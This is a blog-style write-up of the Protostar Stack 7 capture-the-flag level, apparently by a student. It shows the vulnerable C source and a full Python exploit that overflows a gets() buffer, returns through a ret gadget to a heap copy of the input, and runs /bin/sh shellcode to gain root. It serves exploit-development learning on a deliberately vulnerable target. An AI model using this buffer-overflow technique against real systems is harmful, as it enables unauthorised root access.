Protostar Stack-7 Writeup

writeup for protostar Stack-7 challenge

Stack 7

The following is the source code for Stack 6 challenge

Source code

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Challenge

In this our return address again cannot start with 0xb so we have to again return to user code in order to get crack this challenge, by looking at the source code we can see our input is being stored in heap as well so we can use heap’s address to jump to as it will be more reliable and hence by just breaking before the ret of getpath function we got the address of heap where we can jump to

now we just needed to define out payload as

#!/usr/bin/env python
import struct

shellcode = "\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x0b\x68\x2f\x73\x68\x4e\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\xcd\x80"
nops = '\x90'*(64-len(shellcode))
nop = '\x90'*12
ebp = 'BBBB'
user_ret_address = struct.pack('<I',0x08048544)
ret_address_payload = struct.pack('<I',0x804a010)
print nops+shellcode+nop+ebp+user_ret_address+ret_address_payload

and then run it

Voila! we are root!

Avatar
Sunny Mishra (codacker)
Student

A passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development.

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